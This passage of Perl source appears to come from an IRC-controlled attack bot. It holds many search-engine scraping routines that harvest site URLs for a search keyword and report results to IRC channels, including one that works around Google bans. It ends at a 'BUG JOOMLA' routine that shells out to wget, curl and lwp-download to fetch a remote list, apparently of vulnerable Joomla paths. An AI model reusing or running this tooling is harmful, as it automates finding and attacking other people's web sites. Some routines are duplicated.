  533. my $url = "http://www.google.ro/search?q=".$key."&num=".$num."&filter=0&start=".$p;
  534. my $murl = "http://www.google.ro";
  535. my $nxurl;
  536. my $q = bukasitus22($url,$proxy);
  537. if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
  538. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Google",$colz{13}." $h");
  539. }
  540. if ( $q =~ /class=\"b\"><a href=\"(.*?)\">/ ) {
  541. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");}
  542. }
  543. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  544. for ($p=50;$p<=$max;$p+=$num) {
  545. $nxurl = "http://www.google.ro/search?q=".$key."&num=".$num."&filter=0&start=".$p;
  546. $q = bukasitus22($nxurl,$proxy);
  547. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  548. if ( $q !~ /<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  549. }
  550. return @daftar;
  551. }
  552.  
  553.  
  554.  
  555. sub se_google {
  556. my ($chan,$key,$nf) = @_;
  557. my @daftar;
  558. my $num = 10; my $max = 500; my $p = "10";
  559. my $url = "http://www.google.ro/search?q=".$key."&num=".$num."&filter=0&start=".$p;
  560. my $murl = "http://www.google.ro";
  561. my $nxurl;
  562. my $q = bukasitus($url);
  563. if ( $q !~ /2012 Google/ ) { msge($chan,$colz{3}."Google",$colz{5}."Baned!!"); msge($chan,$colz{3}."Google bypas:",$colz{14}.$bypass."key=".$colz{3}.$key); @daftar = se_gbypass($chan,$key,$nf); }
  564. if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
  565. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Google",$colz{6}." $h");
  566. }
  567. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  568. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");}
  569. }
  570. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  571. for ($p=50;$p<=$max;$p+=$num) {
  572. $nxurl = "http://www.google.ro/search?q=".$key."&num=".$num."&filter=0&start=".$p;
  573. $q = bukasitus($nxurl);
  574. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  575. if ( $q !~ /<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  576. }
  577. return @daftar;
  578. }
  579. ##[ GOOGLE BYPASS ]##
  580. sub se_gbypass {
  581. my ($chan,$key,$nf) = @_;
  582. my @daftar;
  583. my $num = 10; my $max = 100; my $p = "10";
  584. my $url = $bypass."?key=".$key."&max=".$max;
  585. my $nxurl;
  586. my $q = bukasitus($url);
  587. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  588. return @daftar;
  589. }
  590. ##[ GOOGLE MULTI DOMAIN ]##
  591. sub se_google_m {
  592. my ($chan,$key,$nf) = @_;
  593. my @daftar;
  594. my $num = 10; my $max = 200; my $p;
  595. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  596. my $dom = $doms[rand(scalar(@doms))];
  597. my $url = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&filter=0";
  598. my $murl = "http://www.google.".$dom;
  599. my $nxurl;
  600. my $q = bukasitus($url);
  601. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  602. my $nxurl = $1;
  603. if ($conf{showdbse} == 1){msgn($dbgchan,"Google.".$dom,$nxurl);}
  604. msgn($chan,$colz{3}."Google.".$dom,$colz{7}."LaGi NyAri..");
  605. }
  606. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  607. for ($p=50;$p<=$max;$p+=$num) {
  608. $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
  609. $q = bukasitus($nxurl);
  610. while ( $q =~ m/<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  611. if ( $q !~ /<h3 class=\"r\"><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  612. }
  613. return @daftar;
  614. }
  615. ##[ YAHOO ]##
  616. sub se_yahoo {
  617. my ($chan,$key,$nf) = @_;
  618. my @daftar;
  619. my $num = 10; my $max = 500; my $p = "1";
  620. my $url = "http://search.yahoo.com/search?p=".$key."&b=".$p;
  621. my $murl;
  622. my $nxurl;
  623. my $q = bukasitus($url);
  624. if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
  625. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Yahoo",$colz{6}." $h");
  626. }
  627. if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,$colz{3}."Yahoo",$colz{5}."Banned!"); }
  628. if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  629. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Yahoo","$nxurl");}
  630. }
  631. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  632. while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  633. $p++; if ( $p > $max ) { return @daftar; }
  634. $nxurl = $murl.htmltourl($1);
  635. $q = bukasitus($nxurl);
  636. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  637. }
  638. return @daftar;
  639. }
  640. ##[ ALTAVISTA ]##
  641. sub se_altavista {
  642. my ($chan,$key,$nf) = @_;
  643. my @daftar;
  644. my $num = 10; my $max = 100; my $p;
  645. my $url = "http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  646. my $murl;
  647. my $nxurl;
  648. my $q = bukasitus($url);
  649. if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  650. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Altavista","$nxurl");}
  651. }
  652. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  653. while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  654. $nxurl = $murl.htmltourl($1);
  655. $q = bukasitus($nxurl);
  656. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  657. }
  658. return @daftar;
  659. }
  660. ##[ ALLTHEWEB ]##
  661. sub se_alltheweb {
  662. my ($chan,$key,$nf) = @_;
  663. my @daftar;
  664. my $num = 100; my $max = 100; my $p = "5";
  665. my $url = "http://us.yhs4.search.yahoo.com/yhs/search?fr=alltheweb&cat=web&_sb_lang=any&hits=100&q=".$num."&q=".$key."&o=".$p;
  666. my $murl;
  667. my $nxurl;
  668. my $q = bukasitus($url);
  669. if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
  670. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."AllTheWeb",$colz{6}." $h");
  671. }
  672. if ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  673. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"AllTheWeb","$nxurl");}
  674. }
  675. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  676. while ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  677. $nxurl = $murl.htmltourl($1);
  678. $q = bukasitus($nxurl);
  679. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  680. }
  681. return @daftar;
  682. }
  683. ##[ GOODSEARCH ]##
  684. sub se_goodsearch {
  685. my ($chan,$key,$nf) = @_;
  686. my @daftar;
  687. my $num = 0; my $max = 300; my $p = "1";
  688. my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  689. my $murl = "http://www.goodsearch.com/";
  690. my $nxurl;
  691. my $q = bukasitus($url);
  692. if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
  693. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."GoodSearch",$colz{6}." $h");
  694. }
  695. if ( $q =~ m/<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/g ) {
  696. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"GoodSearch","$nxurl");}
  697. }
  698. while ( $q =~ m/<div class=\"search_results_item_title\"><a href=\"(redirect.+?)http:\/\/(.*?)\">/g ) { push (@daftar, $2); }
  699. for ($p=2;$p<=$max;$p++) {
  700. $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  701. $q = bukasitus($url);
  702. while ( $q =~ m/<div class=\"search_results_item_title\"><a href=\"(redirect.+?)http:\/\/(.*?)\">/g ) { push (@daftar, $2); }
  703. if ( $q !~ m/<div class=\"search_results_item_title\"><a href=\"(redirect.+?)http:\/\/(.*?)\">/g ) { return @daftar; }
  704. }
  705. return @daftar;
  706. }
  707. ##[ BIGBLOBE ]##
  708. sub se_uol {
  709. my ($chan,$key,$nf) = @_;
  710. my @daftar;
  711. my $num = 100; my $max = 400; my $p;
  712. my $url = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$key."";
  713. my $murl = "http://cgi.search.biglobe.ne.jp/";
  714. my $nxurl;
  715. my $q = bukasitus($url);
  716. if ( $q =~ /results\">(.+?)<\/strong>/ ) {
  717. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Uol",$colz{6}." $h");
  718. }
  719. if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
  720. my $nxurl = htmltourl($1); if ($conf{showdbse} == 1){msgn($dbgchan,"Uol","$nxurl");}
  721. }
  722. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  723. for ($p=1;$p<=$max;$p += $num) {
  724. $q = bukasitus("http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$key."&start=".$p);
  725. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  726. if ( $q !~ /<dt><a href/ ) { return @daftar; }
  727. }
  728. return @daftar;
  729. }
  730. ##[ BING ]##
  731. sub se_live {
  732. my ($chan,$key,$nf) = @_;
  733. my @daftar;
  734. my $num = 10; my $max = 1000; my $p;
  735. #my $url = "http://localhost/search/search.live.com.htm";
  736. my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  737. my $murl = "http://search.live.com";
  738. my $nxurl;
  739. my $q = bukasitus($url);
  740. if ( $q =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  741. my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
  742. }
  743. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  744. my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  745. }
  746. for ( $p=0;$p<=$max;$p += $num ) {
  747. $nxurl = $murl.htmltourl($1)."&go";
  748. $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
  749. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  750. my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  751. }
  752. }
  753. return @daftar;
  754. }
  755. ##[ CLUSTY ]##
  756. sub se_clusty {
  757. my ($chan,$key,$nf) = @_;
  758. my @daftar;
  759. my $num = 50;
  760. my $url = "http://search.yippy.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  761. my $murl = "http://clusty.com";
  762. my $nxurl;
  763. my $q = bukasitus($url);
  764. if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  765. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Clusty",$colz{6}." $h");
  766. }
  767. if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  768. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Clusty",htmltourl($nxurl));}
  769. }
  770. while ( $q =~ m/<span class=\"document-newwindow\"><a class=\"opener\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  771. while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  772. $nxurl = $murl.htmltourl($1);
  773. $q = bukasitus($nxurl);
  774. while ( $q =~ m/<span class=\"document-newwindow\"><a class=\"opener\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  775. }
  776. return @daftar;
  777. }
  778. ##[ LYCOS ]##
  779. sub se_lycos {
  780. my ($chan,$key,$nf) = @_;
  781. my @daftar;
  782. my $num = 10; my $max = 300; my $p;
  783. my $url = "http://search.lycos.com/?query=".$key."&submit=image";
  784. my $murl = "http://search.lycos.com/";
  785. my $nxurl;
  786. my $q = bukasitus($url);
  787. if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
  788. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Lycos","$nxurl");}
  789. }
  790. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  791. for ( $p=0;$p<=$max;$p++ ) {
  792. $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
  793. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  794. if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  795. }
  796. return @daftar;
  797. }
  798. ##[ VIRGILIO ]##
  799. sub se_virgilio {
  800. my ($chan,$key,$nf) = @_;
  801. my @daftar;
  802. my $num = 10; my $max = 1000; my $p = 0;
  803. my $url = "http://shopping.virgilio.it/occasioni-borse_zaini_valigie.html?utm_source=".$key."&filter=1&site=&lr=&hits=".$num."&offset=".$p;
  804. my $murl = "http://shopping.virgilio.it/";
  805. my $nxurl;
  806. my $q = bukasitus($url);
  807. if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
  808. my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
  809. msgt($chan,$colz{3}."Virgilio",$colz{6}." $h");
  810. }
  811. if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  812. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Virgilio","$nxurl");}
  813. }
  814. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  815. while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  816. $nxurl = $murl.htmltourl($1);
  817. $q = bukasitus($nxurl);
  818. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  819. }
  820. return @daftar;
  821. }
  822. ##[ WEBDE ]##
  823. sub se_webde {
  824. my ($chan,$key,$nf) = @_;
  825. my @daftar;
  826. my $num = 1; my $max = 100; my $p;
  827. for ( $p = 0;$p <= $max; $p += $num ) {
  828. my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&mc=suche\@web\@navigation\@zahlen.suche\@web";
  829. my $q = bukasitus($url);
  830. while ( $q =~ m/<a href=\"http:\/\/(.+?)\" target=\"_blank\">/g ) { push (@daftar, $1); }
  831. if ( $q !~ /<a href=\"http:\/\/(.+?)\" target=\"_blank\">/ ) { return @daftar; }
  832. }
  833. return @daftar;
  834. }
  835. ##[ HOTBOT ]##
  836. sub se_hotbot {
  837. my ($chan,$key,$nf) = @_;
  838. my @daftar;
  839. my $num = 1; my $max = 2000; my $p;
  840. for ( $p = 0;$p <= $max; $p += $num ) {
  841. my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
  842. my $q = bukasitus($url);
  843. while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
  844. my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
  845. }
  846. if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  847. }
  848. return @daftar;
  849. }
  850. ##[ AOL ]##
  851. sub se_netscape {
  852. my ($chan,$key,$nf) = @_;
  853. my @daftar;
  854. my $num = 1; my $max = 10; my $p;
  855. for ( $p = 0;$p <= $max; $p += $num ) {
  856. my $url = "http://search.aol.com/aol/webhome?s_it=".$key."&page=".$p."&y=0&x=0&st=webresults";
  857. my $q = bukasitus($url);
  858. while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
  859. my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
  860. }
  861. if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  862. }
  863. return @daftar;
  864. }
  865. ##[ WEBCRAWLER ]##
  866. sub se_webcrawler {
  867. my ($chan,$key,$nf) = @_;
  868. my @daftar;
  869. my $num = 50; my $max = 5000; my $p;
  870. for ( $p = 0;$p <= $max; $p++ ) {
  871. $num += $num;
  872. my $url = "http://www.webcrawler.com/search/web=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
  873. my $q = bukasitus($url);
  874. while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
  875. my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
  876. }
  877. if ( $q !~ /wsPagerNext/ ) { return @daftar; }
  878. }
  879. return @daftar;
  880. }
  881. ##[ DMOZ ]##
  882. sub se_dmoz {
  883. my ($chan,$key,$nf) = @_;
  884. my @daftar;
  885. my $num = 50; my $max = 5000; my $p = 50;
  886. my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
  887. my $murl = "http://search.dmoz.org/cgi-bin/";
  888. my $nxurl;
  889. my $q = bukasitus($url);
  890. if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
  891. my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
  892. }
  893. if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
  894. my $nxurl = $1; msgn($dbgchan,"Dmoz","Searching:");
  895. }
  896. while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  897. while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
  898. $nxurl = $murl.htmltourl($1);
  899. $q = bukasitus($nxurl);
  900. while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  901. }
  902. return @daftar;
  903. }
  904. ##[ ABACHO ]##
  905. sub se_abacho {
  906. my ($chan,$key,$nf) = @_;
  907. my @daftar;
  908. my $num = 10; my $max = 1000; my $p = 0;
  909. for ( $p = 0;$p <= $max; $p += $num ) {
  910. my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
  911. my $q = bukasitus($url);
  912. while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
  913. if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
  914. if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  915. }
  916. return @daftar;
  917. }
  918. ##[ MAMMA ]##
  919. sub se_mamma {
  920. my ($chan,$key,$nf) = @_;
  921. my @daftar;
  922. my $num = 50; my $max = 1000; my $p = 1;
  923. #my $url = "http://localhost/search/bing.com.htm";
  924. my $url = "http://www.bing.com/search?q=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
  925. my $murl = "http://www.bing.com";
  926. my $nxurl;
  927. my $q = bukasitus($url);
  928. if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
  929. my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
  930. }
  931. if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  932. my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","Next: $h");
  933. }
  934. while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  935. my $l = $1 ; if ($l !~ /bing.com/) { push (@daftar, $l); }
  936. }
  937. while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  938. $nxurl = $murl.htmltourl($1);
  939. $q = bukasitus($nxurl);
  940. while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  941. my $l = $1 ; if ($l !~ /bing.com/) { push (@daftar, $l); }
  942. }
  943. }
  944. return @daftar;
  945. }
  946. ## Onet ##
  947. sub se_euroseek {
  948. my ($chan,$key,$nf) = @_;
  949. my @daftar;
  950. my $num = 1; my $max = 400; my $p;
  951. for ( $p = 0;$p <= $max; $p+=$num ) {
  952. my $url = "http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key);
  953. my $q = bukasitus($url);
  954. while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
  955. if ( $q !~ /Next/ ) { return @daftar; }
  956. }
  957. return @daftar;
  958. }
  959. ##[ ABACHO ]##
  960. sub se_abacho {
  961. my ($chan,$key,$nf) = @_;
  962. my @daftar;
  963. my $num = 10; my $max = 500; my $p = 0;
  964. for ( $p = 0;$p <= $max; $p += $num ) {
  965. my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
  966. my $q = bukasitus($url);
  967. while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
  968. if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
  969. if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  970. }
  971. return @daftar;
  972. }
  973. ##[ FIREBALL ]##
  974. sub se_fireball {
  975. my ($chan,$key,$nf) = @_;
  976. my @daftar;
  977. my $num = 1; my $max = 500; my $p;
  978. for ( $p = 0;$p <= $max; $p += $num ) {
  979. my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
  980. my $q = bukasitus($url);
  981. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
  982. if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
  983. if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
  984. }
  985. return @daftar;
  986. }
  987. ##[ GIGABLAST ]##
  988. sub se_gigablast {
  989. my ($chan,$key,$nf) = @_;
  990. my @daftar;
  991. my $num = 50; my $max = 5000;
  992. #my $url = "http://localhost/search/gigablast.com.htm";
  993. my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  994. my $murl = "http://www.gigablast.com";
  995. my $nxurl;
  996. my $q = bukasitus($url);
  997. if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  998. my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
  999. }
  1000. if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  1001. my $nxurl = $1; msgn($dbgchan,"Gigablast","Searching:");
  1002. }
  1003. while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  1004. while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  1005. $nxurl = $murl.htmltourl($1);
  1006. $q = bukasitus($nxurl);
  1007. while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  1008. }
  1009. return @daftar;
  1010. }
  1011.  
  1012. sub se_ask {
  1013. my ($chan,$key,$nf) = @_;
  1014. my @daftar;
  1015. my $num = 1; my $max = 200; my $p;
  1016. for ( $p = 0;$p <= $max; $p += $num ) {
  1017. my $url = "http://uk.ask.com/web?q=".$key."&page=".$p;
  1018. my $q = bukasitus($url);
  1019. while ( $q =~ m/<a id=\"r([0-9])_t\" href=\"http:\/\/(.*?)\"/g ) {
  1020. my $l = $2 ; if ($l !~ /ask.com/) { push (@daftar, $l); }
  1021. }
  1022. if ( $q !~ m/<a id=\"r([0-9])_t\" href=\"http:\/\/(.*?)\"/g ) { return @daftar; }
  1023. }
  1024. return @daftar;
  1025. }
  1026.  
  1027. sub se_aol {
  1028. my ($chan,$key,$nf) = @_;
  1029. my @daftar;
  1030. my $num = 5; my $max = 100; my $p;
  1031. for ( $p = 0;$p <= $max; $p += $num ) {
  1032. my $url = "http://search.aol.com/aol/search?q=".$key."&page=2".$p;
  1033. my $q = bukasitus($url);
  1034. while ( $q =~ m/<a rel=\"f:url\" class=\"find\" target=\'_blank\' href=\"http:\/\/(.*?)\"/g ) {
  1035. my $l = $1 ; if ($l !~ /aol.com/) { push (@daftar, $l); }
  1036. }
  1037. if ( $q !~ m/<a rel=\"f:url\" class=\"find\" target=\'_blank\' href=\"http:\/\/(.*?)\"/g ) { return @daftar; }
  1038. }
  1039. return @daftar;
  1040. }
  1041.  
  1042. sub se_search_com {
  1043. my ($chan,$key,$nf) = @_;
  1044. my @daftar;
  1045. my $num = 1; my $max = 200; my $p;
  1046. for ( $p = 1;$p <= $max; $p += $num ) {
  1047. my $url = "http://www.search.com/search?q=".$key."&nav=".$p.".10.2.10";
  1048. my $q = bukasitus($url);
  1049. while ( $q =~ m/<p class=\"title\"><a href=\"http:\/\/(.*?)\"/g ) {
  1050. my $l = $1 ; if ($l !~ /search.com/) { push (@daftar, $l); }
  1051. }
  1052. if ( $q !~ m/class=\"last\">next/g ) { return @daftar; }
  1053. }
  1054. return @daftar;
  1055. }
  1056.  
  1057. sub se_exalead {
  1058. my ($chan,$key,$nf) = @_;
  1059. my @daftar;
  1060. my $num = 50; my $max = 2000; my $p;
  1061. for ( $p = 0;$p <= $max; $p += $num ) {
  1062. my $url = "http://www.exalead.com/search/web/results/?q=".$key."&elements_per_page=50&start_index=".$p;
  1063. my $q = bukasitus($url);
  1064. while ( $q =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g ) {
  1065. my $l = $1 ; if ($l !~ /exalead.com/) { push (@daftar, $l); }
  1066. }
  1067. if ( $q !~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g ) { return @daftar; }
  1068. }
  1069. return @daftar;
  1070. }
  1071.  
  1072.  
  1073. sub se_tiscali {
  1074. my ($chan,$key,$nf) = @_;
  1075. my @daftar;
  1076. my $num = 50; my $max = 5000; my $p;
  1077. for ( $p = 0;$p <= $max; $p += $num ) {
  1078. my $url = "http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$p."&q=".$key;
  1079. my $q = bukasitus($url);
  1080. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onclick=\"window.open/g ) {
  1081. my $l = $1 ; if ($l !~ /tiscali.it/) { push (@daftar, $l); }
  1082. }
  1083. if ( $q !~ m/&gt;&gt;<\/a>/g ) { return @daftar; }
  1084. }
  1085. return @daftar;
  1086. }
  1087.  
  1088. sub se_rediff {
  1089. my ($chan,$key,$nf) = @_;
  1090. my @daftar;
  1091. my $num = 10; my $max = 1000; my $p;
  1092. for ( $p = 0;$p <= $max; $p += $num ) {
  1093. my $url = "http://realtime.rediff.com/news=".$key."&iss=&submit=Search&firstres=".$p;
  1094. my $q = bukasitus($url);
  1095. while ( $q =~ m/class=\"nusrch_h1\"><a href=\"http:\/\/(.*?)\"/g ) {
  1096. my $l = $1 ; if ($l !~ /rediff.com/) { push (@daftar, $l); }
  1097. }
  1098. if ( $q !~ m/class=\"nusrch_h1\"><a href=\"http:\/\/(.*?)\"/g ) { return @daftar; }
  1099. }
  1100. return @daftar;
  1101. }
  1102.  
  1103.  
  1104. ## END OF RUTIN SEARCH ENGINE ##
  1105.  
  1106. ##[ BUG JOOMLA ]##
  1107. sub bugjoomla {
  1108. my $mode = $_[0];
  1109. my @bugz;
  1110. system("lwp-download ".$joomlaz);
  1111. system("curl -O ".$joomlaz);
  1112. system("wget ".$joomlaz);
  1113. open(FILE,"< joomla.txt");
  1114. if ($mode eq "hitung") {
  1115. my $baris = 0; my $buff;
